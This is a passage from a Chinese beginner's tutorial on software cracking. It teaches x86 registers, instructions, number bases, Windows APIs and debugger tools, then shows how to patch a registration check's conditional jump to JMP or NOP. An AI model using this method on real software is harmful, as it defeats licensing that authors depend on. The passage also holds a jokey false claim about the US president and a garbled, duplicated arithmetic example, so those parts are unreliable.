呵呵，聪明的你现在一定在想，如果找到软件计算注册码的部分，并对其进行分析，弄懂它的计算方法，那么你不就不用通过￥的方式来进行软件注册了吗？当然，你也可以将此计算过程还原为任意一个你所熟悉的编程语言，那么，编译后的这个程序，就叫做注册机，它的功能就是计算某一特定软件的注册码。（呵呵，是不是经常在软件中看到此类说明？"禁止制作和提供该软件的注册机及破解程序；禁止对本软件进行反向工程，如反汇编、反编译等"）
作者这样做，心情我们是可以理解的，毕竟人家花了那么多心思在自己的软件上，所以，我不希望你仅仅是因为交不起注册费的原因来学习破解。
总的说来，上边儿的介绍有点儿太理想化了，上面提到的分析方法，就是所谓的静态分析，此类分析常用的工具有W32DASM、IDA和HIEW等。静态分析，顾名思义，就是只通过查看软件的反汇编代码来对软件进行分析。一般如果只是想暴破软件，只进行静态分析就够了。但要想真正的弄清注册算法，一般还是要进行动态分析的，即能过调试器来一边执行程序一边进行分析。具体内容，我会在《破解原理》和《调试器入门》中详细说明，呵呵，毕竟现在都以经有点儿跑题了。
我废话说了这么多，其实就是想告诉你汇编的重要性，我不要求你精通，但最少你也得能看懂吧，要不，还谈什么分析？虽然有哥们儿一点儿汇编都不懂就上路了，甚至还破掉了几个软件，但是，这样是不是惨了点儿？难不成你想暴破软件暴破一辈子？
其实你完全不用惧怕汇编的，看上去怪吓人的，其实跟你平时背那些控件的属性方法差不多，MFC那么多你都搞的定，汇编命令才有多少？而且，汇编不光只是在Crack软件时有用，在好多地方也都有用，且用处巨大，所以我觉得，把汇编拿下，是件义不容辞的事:
你只要相信它并不难就好了。
（以下为第二次修改时加入）
先给你讲一下CPU的组成吧:
CPU的任务就是执行存放在存储器里的指令序列。为此，除要完成算术逻辑操作外，还需要担负CPU和存储器以及I/O之间的数据传送任务。早期的CPU芯片只包括运算器和控制器两大部分。到了近几年，为了使存储器速度能更好地与运算器的速度相匹配，又在芯片中引入了高速缓冲存储器（知道为什么P4比P4赛扬贵那么多吗?）。（当！一个硬物飞了过来，话外音：你讲这些做什么，我们又不要设计CPU）
你急什么嘛，由于汇编比较“低级” J;;所以它是直接操作硬件的，你以为这是用VB呢，想什么时候用变量随手就可以拿来用，你不掌握好CPU内部的一些工作分配情况，到时怎么来看汇编代码啊。（当！又一声，重要还不快点儿说）
除了高速缓冲存储器之外的组成，大体上可以分为3个部分：
1.算术逻辑部件ALU（arithmetic logic unit）用来进行算术和逻辑运算。这部分与我们的关系不太大，我们没必要管它。
2.控制逻辑。同样与我们的关系不大。
3.这个才是最最重要的。工作寄存器，它在计算机中起着重要的作用，每一个寄存器相当于运算器中的一个存储单元，但它的存取速度却贼快贼快，比存储器要快很多了。它用来存放计算过程中所需要的或所得到的各种信息，包括操作数地址、操作数及运算的中间结果等。下面我们专门的介绍这些寄存器。
在介绍之前，有必要说点儿基础性的知识。知道什么是32位吧，就是说寄存器是32位的，晕~~等于没说。在CPU中，一个二进制位被看作是一位，八位就是一个字节，在内存中，就是以字节为单位来在存储信息的，每一个字节单元给以一唯一的存储器地址，称为物理地址，到时候访问相应的内存，就是通过这个地址。八个二进制位都能表达些什么呢？可以表达所有的ASCII码，也就是说一个内存单元可以存储一个英文字符或数字什么的，而中文要用Unicode码来表示，也就是说两个内存单元，才能装一个汉字。十六位就是两个字节这不难理解吧，当然啦，那有了十六位，就肯定有三十二位六十四位什么的，三十二位叫做双字，六十四位就叫做四字。今天我们所使的CPU，相信全是32位的了，除非你用的是286或更早的话。自然而然，CPU中的寄存器，也就是32位的了，也就是说一个寄存器，可以装下32个0或1（这其中不包括段寄存器）。
大体上来说，你需要掌握的寄存器，有十六个，我一个一个给介绍给你:
首先，介绍小翠儿（当!，我自己打我自己一下得了，最近看周星驰看多了），重说，首先，介绍通用寄存器。
一共八个，分别是EAX、EBX、ECX、EDX、ESP、EBP、EDI、ESI。
其中，EAX—EDX这四个寄存器又可称为数据寄存器，你除了直接访问外，还可分别对其高十六位和低十六位（还计的我说它们是32位的吗？）进行访问。它们的低十六位就是把它们前边儿的E去掉，即EAX的低十六位就是AX。而且它们的低十六位又可以分别进行八位访问，也就是说，AX还可以再进行分解，即AX还可分为AH（高八位）AL（低八位）。其它三个寄存器请自行推断。这样的话，你就可以应付各种情况，如果你想操作的是一个八位数据，那么可以用 MOV AL (八位数据)或MOV AH (八位数据)，如果你要操作的是一个十六位数据，可以用MOV AX (十六位数据)三十二位的话，就用MOV EAX (三十二位数据)也许我这样说，你还是会不明白，没关系，慢慢来，我给你大概画张图吧，虽然不怎么漂亮:
───────────────────────
│ │ │ │
│ │ │ │
│ 高十六位 EAX AH AX AL │
│ │ │ │
│ │ │ │
───────────────────────
(我倒啊...这个图为啥老是不能正常显示？我都重画三遍了)
明白了吗？不明白没有关系，你就按你自己的理解能力，能理解多少，就理解多少。
这四个寄存器，主要就是用来暂时存放计算过程中所用的操作数、结果或其它信息。
而ESP、EBP、EDI、ESI这四个呢，就只能用字来访问，它们的主要用途就是在存储器寻址时，提供偏移地址。因此，它们可以称为指针或变址寄存器。话说回来，从386以后，所有的寄存器都可以用来存储内存地址。（这里给你讲一个小知识，你在破解的时候是不是看到过[EBX]这样的形式呢？这就是说此时EBX中装的是一个内存地址，而真正要访问的，就是那那个内存单元中所存储的值）。
在这几个寄存器中，ESP称为堆栈指针寄存。堆栈是一个很重要的概念，它是以“后进先出”方式工作的一个存储区，它必须存在于堆栈段中，因而其段地址存放于SS寄存器中。它只有一个出入口，所以只有一个堆栈指针寄存器。ESP的内容在任何时候都指向当前的栈顶。我这样说你可能会觉的还是不明白，那我举个例子吧，知道民工盖房吧，假设有两个民工，一个民工（以下简称民工A）要向地上铺砖，另一个民工（以下简称民工B）给民工A递砖，民工A趴在地上，手边是民工B从远处搬来的板砖，他拿起来就用，民工B从远处搬来后，就还放在那一堆砖上，这样，民工A拿着用后，民工B随既就又补了上去，这就是后进先出。你在脑子里想象一下这个这程。有没有想明白，民工A永远是从最上边开始拿砖。堆栈就是这样，它的基址开始于一个高地址，然后每当有数据入栈，它就向低地址的方向进行存储。相应的入栈指令是PUSH。每当有数据入栈，ESP就跟着改变，总之，它永远指向最后一个压入栈的数据。之后，如果要用压入堆栈的数据，就用出栈指令将其取出。相应的指令是POP，POP指令执行后，ESP会加上相应的数据位数。
特别是现在到了Win32系统下面，堆栈的作用更是不可忽视，API所用的数据，均是靠堆栈来传送的，即先将要传送的数据压入堆栈，然后CALL至API函数，API函数会在函数体内用出栈指令将相应的数据出栈。然后进行操作。以后你就会知道这点的重要性了。许多明码比较的软件，一般都是在关键CALL前，将真假两个注册码压入栈。然后在CALL内出栈后进行比较。所以，只要找到个关键CALL，就能在压栈指令处，下d命令来查看真正的注册码。具体内容会在后面详细介绍，本章暂不予讨论。
另外还有EBP，它称为基址指针寄存器，它们都可以与堆栈段寄存器SS联用来确定堆栈中的某一存储单元的地址，ESP用来指示段顶的偏移地址，而EBP可作为堆栈区中的一个基地址以便访问堆栈中的信息。ESI（源变址寄存器）和EDI（目的变址寄存器）一般与数据段寄存器DS联用，用来确定数据段中某一存储单元的地址。这两个变址寄存器有自动增量和自动减量的功能，可以很方便地用于变址。在串处理指令中，ESI和EDI作为隐含的源变址和目的变址寄存器时，ESI和DS联用，EDI和附加段ES联用，分别达到在数据段和附加段中寻址的目的。目前暂时不明白不要紧。
接下来，再介绍如花（当当当，我再打自己三下算了）接下来，介绍一下专用寄存器，呵呵，有没有被这个名字吓倒？看起来怪专业的。
所谓的专用寄存器，有两个，一个是EIP，一个是FLAGS。
我们先来说这个EIP，可以说，EIP算是所有寄存器中最重要的一个了。它的意思就是指令指针寄存器，它用来存放代码段中的偏移地址。在程序运行的过程中，它始终指向下一条指令的首地址。它与段寄存器CS联用确定下一条指令的物理地址。当这一地址送到存储器后，控制器可以取得下一条要执行的指令，而控制器一旦取得这条指令就马上修改EIP的内容，使它始终指向下一条指令的首地址。可见，计算机就是用EIP寄存器来控制指令序列的执行流程的。
那些跳转指令，就是通过修改EIP的值来达到相应的目的的。
再接着我们说一下这个FLAGS，标志寄存器，又称PSW(program status word)，即程序状态寄存器。这一个是存放条件标志码、控制标志和系统标志的寄存器。
其实我们根本不需要太多的去了解它，你目前只需知道它的工作原理就成了，我举个例子吧:
Cmp EAX,EBX ;用EAX与EBX相减
JNZ 00470395 ;不相等的话，就跳到这里;
这两条指令很简单，就是用EAX寄存器装的数减去EBX寄存器中装的数。来比较这两个数是不是相等，当Cmp指令执行过后，就会在FLAGS的ZF（zero flag）零标志位上置相应值，如果结果为0，也就是他们两个相等的话，ZF置1，否则置0。其它还有OF（溢出标志）SF（符号标志）CF（进位标志）AF（辅助进位标志）PF（奇偶标志）等。
这些你目前没必要了解那么清楚，会用相应的转移指令就行了。
最后要介绍的就是段寄存器了（刚才是谁说的樱红？反正不是我）
这部分寄存器一共六个，分别是CS代码段，DS数据段，ES附加段，SS堆栈段，FS以及GS这两个还是附加段。
其实现在到了Win32环境下，段寄存器以经不如DOS时代那样重要了。
所以，我们知道就行了。
啰嗦了这么多，相信你对CPU以经有了个大概的了解了吧。什么？还是什么也不明白？呵呵，那也不要灰心，请相信这是我的错，是我没有讲清楚而已，你可以去参考一些书籍。我始终觉的，你案头有一本讲汇编的书是非常非常有必要的，我这边儿是清华版的《80x86汇编语言程序设计》沈美明主编，46元。
我们接下来就再讲一讲一些常用的汇编指令吧。（由于考虑到目前以经有了相应的帖子，所以，我只是从汇编指令中，挑出一些最常用，需要掌握的，更多内容，还请参见书本。）
CMP A,B 比较A与B其中A与B可以是寄存器或内存地址，也可同时是两个寄存器，但不能同都是内存地址。这个指令太长见了，许多明码比较的软件，就用这个指令。
MOV A,B 把B的值送给A其中，A与B可是寄存器或内存地址，也可同时是两个寄存器，但不能同都是内存地址。
Xor a,a异或操作，主要是用来将a清空
LEA装入地址，例如LEA DX，string 将字符的地址装入DX寄存器
PUSH 压栈
POP 出栈
ADD 加法指令 格式:ADD DST，SRC 执行的操作：(DST)<-(SRC)+(DST)
SUB 减法指令 格式UB DST，SRC 执行的操作：(DST)<-(DST)-(SRC)
MUL 无符号乘法指令 格式: MUL SRC 执行的操作：字节操作(AX)<-(AL)*(SRC)；字操作(DX,AX)<-(AX)*(SRC)；双字操作：(EDX,EAX)<-(EAX)*(SRC)
DIV 无符号除法指令 格式IV SRC 执行的操作:字节操作：16们被除数在AX中，8位除数为源操作数，结果的8位商在AL中，8位余数在AH中。表示为：
(AL)<-(AX)/(SRC)的商，(AH)<-(AX)/(SRC)的余数。字操作:32位被除数在DX,AX中。其中DX为高位字，16位除数为源操作数，结果的16位商在AX中，16位余数在DX中。表示为：(AX)<-(DX,AX)/(SRC)的商，(DX)<-(DX,AX)/(SRC)的余数。
双字操作:64位的被除数在EDX,EAX中。其中EDX为高位双字；32位除数为源操作数，结果的32位商在EAX中，32位余数在EDX中。表示为:
(EAX)<-(EDX,EAX)/(SRC)的商，(EDX)<-(EDX,EAX)/(SRC)的余数。
NOP 无作用，可以用来抹去相应的语句，这样的话，嘿嘿嘿…
CALL调用子程序，你可以把它当作高级语言中的过程来理解。
控制转移指令:
JE 或JZ 若相等则跳
JNE或JNZ 若不相等则跳
JMP 无条件跳
JB 若小于则跳
JA 若大于则跳
JG 若大于则跳
JGE 若大于等于则跳
JL 若小于则跳
JLE 若小于等于则跳
总的来说，以上几个，都是比较常见的，需要掌握，但需要掌握的绝不止这几个，其它的指令希望你能在私下里再了解一下，可以找相应的教程来看。
刚才忘了，现在再把数制转换也给贴上:
首先说二进制转换为十进制的问题：
各位二进制数码乘以与其对应的权之和即为该二进制相对应的十进制数。例如:
10100=2的4次方+2的2次方，也就是十进制数20。
11000=2的4次方+2的3次方，也就是十进制数24。
接着说一下十进制数转换为二进制数的方法：
这样的方法到底有多少，我也不清楚，我只讲最简单的一个-除法:
把要转换的十进制数的整数部分不断除以2，并记下余数，直到商为0为止。
例:N=34D(说明一下，你可能在某些数字的后边看到过加有一个字母，这个字母便是用来表示数制的，十进制数用D，二进制数用B，八进制数用O，十六进制数用H)
34/2=17 (a0=0)
17/2=8 (a1=1)
8/2=4 (a2=0)
4/2 例:N=34D(说明一下，你可能在某些数字的后边看到过加有一个字母，这个字母便是用来表示数制的，十进制数用D，二进制数用B，八进制数用O，十六进制数用H)
34/2=17 (a0=0)
17/2=8 (a1=1)
8/2=4 (a2=0)
4/2=2 (a3=0)
2/2=1 (a4=0)
1/2=0 (a5=1)
所以N=34D=100010B。
对于被转换的十进制数的小数部分则应不断乘以2，并记下其整数部分，直到结果的小数部分为0为止。
十六进制数与二进制数、十进制数之间的转换:
总的来说，十六进制数与二进数之间的转换，应该算是很简单的了，你只需把与之相对应的数值进行转换就成了。
十六进制数的基数是16，共有16个数码，它们是0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F。其中A表示十进制中的10，其余类推。它们与二进制和十进制数的关系如下:
0H=0D=0000B,1H=1D=0001B,2H=2D=0010B,3H=3D=0011B,4H=4D=0100B,5H=5D=0101B,6H=6D=0110B,7H=7D=0111B,8H=8D=1000B,9H=9D=1001B,AH=10D=1010B,BH=11D=1011B,CH=12D=1100B,DH=13D=1101B,EH=14D=1110B,FH=15D=1111B
所以，二进制与十六进制之间要进行转换的话，只要把它们由低到高每四位组成一级，直接用十六进制来表示就可以了:
例: 1000 1010 0011 0101
8 A 3 5
十六进制转二进制则用只需将每一位用四位二进制数来表示就成了:
例: A B 1 0
1010 1011 0001 0000
最后是十六进制数与十进制数之间的互相转换
十六进制数转十进制数
各位十六进制数与其对应权值的乘积之和即为与此十六进制数相对应的十进制数。
例:N=BF3CH
=11*16的3次方+15*16的2次方+3*16的1次方+12*16的0次方
=11*4096+15*256+3*16+12*1
=48956D
十进制转十六进制
我还是只讲最简单的除法:
把要转换的十进制数的整数值部分不断除以16，并记下余数，直到商为0为止。
例N=48956D
48956/16=3059 (a0=12)
3059/16=191 (a1=3)
191/16=11 (a2=15)
11/16=0 (a3=11)
所以N=48956D=BF3CH。
通过以上的介绍，我不知道你到底看懂没有，如果有的话，请你去看一下书本，把我没讲到的地方和讲过了的地方都仔细地看几遍。如果你根本就没有看懂，那么你就更需要去看书了，不要因为这就丧失掉学习的信心。你认真地把前边儿的CPU介绍看完，弄清楚寄存器的概念，再把后边汇编指令拿下，就可以上路了。你认真学，认真背的话，会发现其实并没你想像中的那么难。一星期的时间，就可大概掌握了，但只是掌握而已，最起码可以看懂汇编代码了。要真好的话，就连后边儿的也一同看了吧，再写一些小程序来练练手。当然想精通汇编，那可不是一天两天一月两月的事，但你只要有恒心，有什么搞不定的？CPU也是人做的，指令只是其中的一部分而已，人家能做出CPU，你还怕连使用都学不会？
课后FAQ
Q:我以前学过8086/8088，并且也在DOS下写过程序，能行吗？
A:绝对能行，相对8086/8088，现在的CPU在基本指令方面，也没有添加多少新的指令。你只需了解一下各寄存器的变化以及补充一下Windows程序的知识就成了。而且，既然你用汇编在DOS下写过程序，那么对Debug等调试器，肯定已经很上手了，所以你有先天的优势。
Q:汇编对我来说不成问题，可我为什么总是不上手呢？
A:呵呵，这样的老鸟倒还有不少，他们把汇编用的相当熟练，但是，只是因为经验的原因，所以才觉的不上手的，许多人当初不也都这样吗？最起码我就是，见了CALL就跟进，呵呵，倒跟了不少API，所以对于这部分，你只需多练练手以及掌握一些分析的技巧就成了。
Q:我没学过编程，能学汇编吗？
A:总的来说，也行。不过希望汇编的学习，不会使你丢掉学习其它高级语言的信心。
答网友问
Q:寄存器可以随便用么，有没有什么限制？写个程序的时候那些变量什么的可以放在任意的寄存器么？
A:呵呵，我现在就来回答楼上朋友的问题。
寄存器有它的使用机制，及各个寄存器都有着明确的分工。
如小翠儿 如数据寄存器（EAX-EDX），它们都是通用寄存器，及在软件中，任何数据都可存放于此。但是除此之外，它们又可以都可以用于各自的专用目的。
例如：
EAX可以作为累加器来使用，所以它是算术运算的主要寄存器。在乘除法等指令中指定用来存放操作数。比如在乘法中，你可以用AL或AX或EAX来装被乘数，而AX或DX:AX或EAX或EDX:EAX则用来装最后的积。
EBX一般在计算存储器地址时，它经常用作基址寄存器。
ECX则常用来保存计数值，如在移位指令它用来装位移量、循环和串处理指令中作隐含的计数器。
最后就剩下四大天王中的黎明了，近一段时间来，他总是比较低调...（你别打我了，我去撞墙好了）最后就剩下EDX了，一般在作双字长运算时把DX和AX组在一起存放一个双字长数（你还记的什么是双字长吧，举个例子，比如说有一个数二进制数据01101000110101000100100111010001，你要把它寄存起来，就可以把0110100011010100(即高十六位)放在DX中，把0100100111010001(即低十六位)放在AX中，这个数表示为DX:AX）当然完全可以用一个EDX就把这个数给装下。所以，还可以用EDX:EAX来装一个64位数据，这个你会推断出来吧。
而ESP、EBP、EDI、ESI，我上边儿以经大概介绍的差不多了，所以这里不说它们了。
当然还有其它的一些限制，因为我们只是要看程序的汇编代码(人家写好了的，肯定不会犯错误吧)，而不是要去写，所以可以不必掌握。有性趣的话，去看相关书籍。
另外再说一下你的最后一个问题“写个程序的时候那些变量什么的可以放在任意的寄存器么？ ”这句话我不明白你要问的是什么。我想你可能是把一些关点给搞错了，变量这词通常都是出现在高级语言中的，而你用高级语言写程序的话，完全不用理解那些寄存器什么的，这些都跟高级语言没什么关系。但是最终，高级语言也还是把你写的程序转换为对寄存器、内部存储器的操作。
——————————
第三章—Windows程序
这一章我都不知道该如何写了，呵呵~~
毕竟，Win32是一个非常深奥的系统，目前还容不得我这种小辈在这儿说三道四，不过，我既然是要写给那些入门阶段的朋友们看的，又不是写给那些搞程序设计老鸟看的，所以，我也犯不着怕被人背后指着骂 本章的名字就叫《Windows程序》而不是《Windows程序设计》所以，我只是讲一些关于Windows程序运作的原理:
Windows为什么叫Windows，相信所有用过的朋友都可以明白，那桌面上一个一个的窗口，就是它名字的由来。也就是这一个又一个窗口的出现，使计算机的使用一下子简单了巨多。几年前接触过电脑的朋友一定知道DOS吧，不知道的话，去问加解密工具下载版的版主老哥，让他跟你解释 你还记的DOS下那黑乎乎的窗口吧，没见过的哥们儿可以在开始菜单中找出来看看。DOS通过一系列的命令来进行相应的操作，如进入一个目录，删除一个目录等等等等。那种工作方式就叫做命令提示符方式，也即命令行。
现在国内不懂电脑的人还老爱说要电脑，必须要英语过关。（就是这个，吓跑了多少仅仅是习一些基本操作的朋友）可能也就是源自DOS的原因吧。
后来，随着硬件的支持以及技术上的提高，当然还有为了使电脑更方便的服务与人，慢慢的就有了所谓的视图操作系统，从此，你不用再记忆那些大堆的指令了，而且操作上，也有了相大的提高，可以说操作系统发展到今天的份儿上，操作已经够简单了，去看看那些在网吧里一把鼻涕的小孩子们吧…
当然，就像当年DOS之于命令提示行一样，今天的Windows仍和当年一样，占据着大部分的用户群。
（场外：一观众扔来一烂柿饼，你是唐僧啊，这么多废话）
马上转入正题，Windows之所以好用，除了不用背N多的命令外，一个原因就是因为它本身提供了大量的标准Windows GUI函数。所以对于用户，面对的是同一套标准的窗口，对这些窗口的操作都是一样的，所以使用不同的应用程序时无须重新学习操作。不用像当年在DOS下面那样一安装新程序，就要马上看帮助，看说明。
而Windows GUI函数，只不过是微软提供给程序开发人员的API（Application Programming Interface 应用编程接口）中的一小部分而以。Windows API是一大组功能强大的函数，它们本身驻扎在 Windows 中供人们随时调用。这些函数的大部分被包含在几个动态链接库(DLL)中，譬如：kernel32.dll、 user32.dll 和 gdi32.dll。 Kernel32.dll中的函数主要处理内存管理和进程调度；user32.dll中的函数主要控制用户界面；gdi32.dll中的函数则负责图形方面的操作等等。
你可能多多少少听说过API函数，如果你不太清楚到底是怎么一回事的话，我尽量给你解释的清楚一点。
不知道你有没有想过，Windows中的那一个又一个窗口是怎么画出来的呢？呵呵，你可能用VB、Delphi编过程序，你有没有想过你写的程序中的那些窗口是怎么形成的？是控件变成的。倒...呵呵，相信你当初学VB或Delphi的时候，所看的书上一定对可视化编程环境大肆赞扬了一番吧，是不是也提到过比VC++怎么怎么方便？怎么怎么不用再为生成程序的界面而花费大量无用时间了等等。
（台下上来一东北民工：小子，你找抽啊，还讲不讲了）
马上开说，其实我只是想告诉你，所有你用的Windows下的程序，都是通过调用一个又一个的Windows API来执行相应任务的，没有API，你的程序什么也做不了。用VB、Delphi以及MFC的朋友也许会说我根本没有调用什么API啊！其实这些API都是由你所用的开发环境自动进行相应的转换的。比如说你用Delphi新建一程序，什么也不用动就直接按F9来运行它，是不是出现一个空白的窗体？这就是个标准的Windows程序，它有Windows程序所具有的一切特征，如最大化按钮、最小化按钮、关闭按钮…你可以通过鼠标来移动它。
但是如果你想用VC++或MASM32来写这样一个程序，那么你有两种方法，在VC++中，你可以用MFC或直接调用API，而在MASM32中，你就只有直接调用API这一种方法。所谓直接调用API，就是指所有的操作都通过最原始的API来完成。通过直接调用API来生成这样一个程序，你必须要先注册窗口类(除非您使用 Windows 预定义的窗口类，如 MessageBox 或 dialog box)；然后产生窗口；然后在桌面显示窗口(除非您不想立即显示它)； 然后新窗口客户区；
麻烦吧，如果你想真正的让这个程序能正常地运行下来，还要再加入以下步骤:
1.你要得到您应用程序的句柄。2.窗体显示后就进入无限的获取窗口消息的循环。3. 如果有消息到达，由负责该窗口的窗口回调函数处理。4. 如果用户关闭窗口，进行退出处理。
上面这此步骤，都需要调用相应的API来完成。比如说得到程序的句柄用GetModuleHandle注册窗口类用RegisterClass或RegisterClassEx;注册后，还要用CreateWindowEx函数来生成相应窗口，而后用ShowWindow来显示它，之后还会用UpdateWindow 来更新客户区等等等等。这些还都不算呢，如果你真通过直接调用API去写一个稍大一点儿的程序的话，你会发现那是一个多么不令人愉快的事情。
上面说的这些，只不过是API中的一小小小小小小小小小小….部分，这才几个，真正的API有成百上千个，包括对系统各个方面进行的操作。没有API，你的程序什么也干不了。比如说你的程序中有一个Edit控件，VB中应该叫做Text控件吧，你想将用户输入到里面的信息放到一个变量中去，那么Delphi中可以用Str:=Edit1.text来实现。VB中应该是Str=Text1.Text;但是如果你用API，想要得到Edit输入框里的文本内容，就要调用GetDlgItemInt（Edit中输入的值当做数值来用）GetDlgItemText、GetDlgItemTextA（Edit中输入的值当做字符串来用）。而上面我说的VB、Delphi得到编辑框中输入的内容的方法，最终在编译成可执行文件的时候，也会由编译器自动对其进行相应的转换。你只要明白一件事就好了，那就是你所用的程序，无时无刻都在调用着系统中的各种各样的API函数。
其实Windows中的API，就相当于当年DOS系统中的系统功能调用，及中断21。只不过在数量上和功能上，都是DOS系统功能调用所不及的。
如果你还是看不明白，那我不怪你，可能是我讲的不清楚，所以，还是给你推荐老牛写的书吧。力推《Windows程序设计》，看过之后你会内力大增的，那时候你所知道的知识就不止是API而以了。
其实话说回来，我这篇文章不是教你编程的，所以关于Windows程序的原理，没有必要说那么多，我之所以跟你讲API，是想让你知道Windows程序的运行机制。免的到时候用调试器下断点的时候问什么是API。（众人（十分愤怒地）冲上台来：“拉下去PK！把我们当什么了！”）
（我再次来到台上，镜头切向脸的一侧，来个特写。只见上面有若干处大小不同的伤口）可能还有些重点的地方我没有提到，欢迎指正。如果你有什么不明白的地方，欢迎跟贴提问。只要别太那个，比如说“你能把所有的API给我列出来让我回去背背好吗？”
附上几个常用的API函数吧。相信你此时因该以经对API有个大概的了解了。
MessageBox 显示一信息对话框
MessageBoxEx 显示一信息对话框
MessageBoxIndirect 显示一定制信息对话框
（以上这三个，可以用来中断那些错误提示，比如说你注册码输入错误了，程序就可能通过这几个函数中的一个，来提示你错误）
GetDlgItemInt 得指定输入框整数值
GetDlgItemText 得指定输入框输入字符串
GetDlgItemTextA 得指定输入框输入字符串
（软件可以用这三个来得到用户输入的注册码）
GetLocalTime 得当前本地时间
GetSystemTime 得当前系统时间
（软件可以用这两个来判断软件是否过期）
RegQueryvalueA 获取一个项的设置值
RegQueryvalueExA 获取一个项的设置值
RegSetvalueA 设置指定项或子项的值
RegSetvalueExA 设置指定项的值
（如果软件用注册表存储注册信息的话，那么这几个也许会有用）
上面讲的，只是几个平时比较常见的，更多请参见看雪以前的教程或Windows开发人员手册。
最后，我们还要隆重介绍一个重量级函数，你可能不知道API是什么，但你只要用过调试器，就一定知道它的名字。你可以不知道美国现任的总统是谁，但是你一定要知道这个函数。我虽然知道现任美国总统是鲍威尔 但我同时也知道这个函数是谁。
它就是----吴孟达！（导演：NG）重新说。它就是hmemcpy。
这个函数是干什么的？
它是一个非常简单的函数。只完成一项非常非常基本的任务，就是把数据从一个地方复制到另一个地方。应用程序本身并不调用它，理由很简单，它很低级（汇编：谁敢说跟我一样？）。但是大部分API函数却非常频繁地调用它。所以，它也叫万能函数。平时你可能都不知道有这么个东西，但是断起程序来却非常管用。但目前到了2K跟Xp下，却没有这个函数了，与之相应的是一个叫memcpy的函数，虽然功能与其相同，但是基本上已经是个废人了 总知，你用memcpy根本就断不下什么来。所以，这么一个好使的函数只能在98下使用了。这就像美国的总统一样，再好使也只能使八年，不好使的就别说了。说不定明年就把他踢飞
别的我也不多说什么了，这章你就知道API是什么就成了。
如果你觉的有什么不妥的地方或有什么问题，并且想文明一点地表代出来的话，就请在回复。如果想野蛮一点的话，就拿鸡蛋往你显示器上丢吧
——————————
第四章--调试器及相关工具入门
在写这章之前，我看了一下看雪以往的教程。本来想参考一下，可忽然发现，写这样的一章，是一件非常愚蠢的事情，因为我觉的关于这些工具的使用教程。看雪教程中已经写的够详细的了，我并不认为你会看不懂。所以我不想做浪费时间的人，本章就此搁浅。
推荐看《Crack Tutorial 2001》，推荐看《看雪论坛精华一、二、三、四》，推荐看《加密与解密－－软件保护技术及完全解决方案》，推荐看一切与之有关的教程。
本章补遗：
要想上路，你最少应该熟练掌握以下工具：
SoftICE：目前公认最好的跟踪调试工具。（由于我使用的分辩率的关系，从没有用过它）
Trw2000： 国人骄傲，其中有我最喜欢的pmodule命令。（河南老乡，殷墟旧人）
W32Dasm8.93或其它任意版本：反汇编的极品工具。
Hiew 或者Ultra Edit或者其它：十六进制工具。爆破时使用，DOS下使用Hiew，Windows下使用Ultra Edit、WinHex、Hex Workshop等，我个人喜欢用Ultra Edit。
侦测文件类型工具：比如TYP、gtw或FileInfo等。这是一个能侦测你的软件是被哪一种「壳」给加密了。
PROCDUMP与其它N多的脱壳软件。
EXESCOPE：拥有执行文件(EXE, DLL等)的解析与显示功能；提取资源到外部文件 ；资源的重新写入；记录文件的记录及其再编辑(成批编辑)等功能。是汉化软件的常用工具，当然破解软件时也很有用。
其它许多......（等你入了门后再学也不迟）
（作者注：以上工具的使用方法，大都可在看雪以有的教程中找到，故不愿复之）第五章--破解原理
从本章开始，我们来一步一步学习Crack软件（80%读者昏死过去，且不省人世...另有20%在寻找附近可以用来打人的东西）
不可不说一下学习破解的三个阶段：
初级,修改程序,用ultraedit等工具修改exe文件,称暴力破解,简称爆破
中级,追出软件的注册码
高级,写出注册机
先说这爆破。所谓爆破，就是指通过修改可执行文件的源文件，来达到相应的目的。你不明白？呵呵，举个例子好了，比如说某共享软件，它比较用户输入的注册码，如果用户输入的，跟它通过用户名（或其它）算出来的注册码相等的话（也就是说用户输入的注册码正确了），那么它就会跳到注册成功的地方去，否则就跳到出错的地方去。
明白过来了吧，我们只要找到这个跳转指令，把它修改为我们需要的“造型”，这样，我们是不是就可以为所欲为了？（某软件双手放在胸口，你要干嘛？）
常见的修改方法有两种，我给你举例说明：
no.1
在某软件中，这样来进行注册：
00451239 CALL 00405E02 (关键CALL，用来判断用户输入的注册码是否正确)
0045123D JZ 004572E6 (!!!<--此为关键跳转，如果用户输入的注册码正确，就跳向成功处，即004572E6处)
0045XXXX YYYYYYYYYY
XXXXXXXX YYYYYYYYYY
XXXXXXXX YYYYYYYYYY
XXXXXXXX 执行到此处，就提示用户注册失败
...提示用户注册码不正确等相关信息
...
004572E6 ... <--(注册成功处!!!)
...提示用户注册成功等相关信息
呵呵，看明白了吗？没有的话，我来给你讲一下。在软件执行到00451239处的时候，CALL置0045E02处来进行注册码判断。接着回来后就来一个跳转语句，即如果用户输入的注册码正确就跳到004572E6处，跳到此处，就算是注册成功了。如果用户输入的注册码不正确的话，那么就不会在0045123D处进行跳转，而一直执行下去。在下面等它的，是注册失败部分。
想明白了吗？嘿嘿...没错，我们只要把那个关键跳转JZ给改为JNZ(如果用户输入的注册码错误，就注册成功，输入正确则注册失败)。当然你也可以将JNZ修改为Jmp，这样的话，你输入的注册码无论正确与否。都可以注册成功。
no.2
我们再来讲一下另外的一种情况：
00451239 CALL 00405E02 (关键CALL，用来判断用户输入的注册码是否正确)
0045123D JNZ 004572E6 (!!!<--此为关键跳转，如果用户输入的注册码不正确，就跳向失败处，即004572E6处)
0045XXXX YYYYYYYYYY
XXXXXXXX YYYYYYYYYY
XXXXXXXX YYYYYYYYYY
XXXXXXXX 执行到此处，就提示用户注册成功
...提示用户注册成功等相关信息
...
004572E6 ... <--(注册失败处!!!)
...提示用户注册码不正确等相关信息
这次我相信，并且深信不疑。你一定明白了。我还是不明白...倒...
你一定看出跟第一种情况不同的地方了吧。没错！它与第一种不同的，就是第一种情况是如果注册码正确，就跳到注册成功处，如果没有跳走，就会执行到失败处。而这一种情况则是如果注册码不正确，就跳到注册失败处，否则将执行到注册成功处。
这种情况的修改，除了把JNZ改为JZ外，还可以将其改为Nop，Nop这个指令没有任何意义，将该条指令修改为Nop后，便可随意输入注册码来进行注册了。
原理以经给你讲了，下面我们再来讲一下具体的修改办法吧。（我假设你以经明白了我所说的工具的使用方法）
先说一下虚拟地址和偏移量转换的问题，在SoftICE和W32Dasm下显示的地址值是所谓的内存地址（memory offset），或称之为虚拟地址（Virual Address，VA）。而十六进制工具里，如：Hiew、Hex Workshop等显示的地址就是文件地址，称之为偏移量（File offset) 或物理地址(RAW offset)。
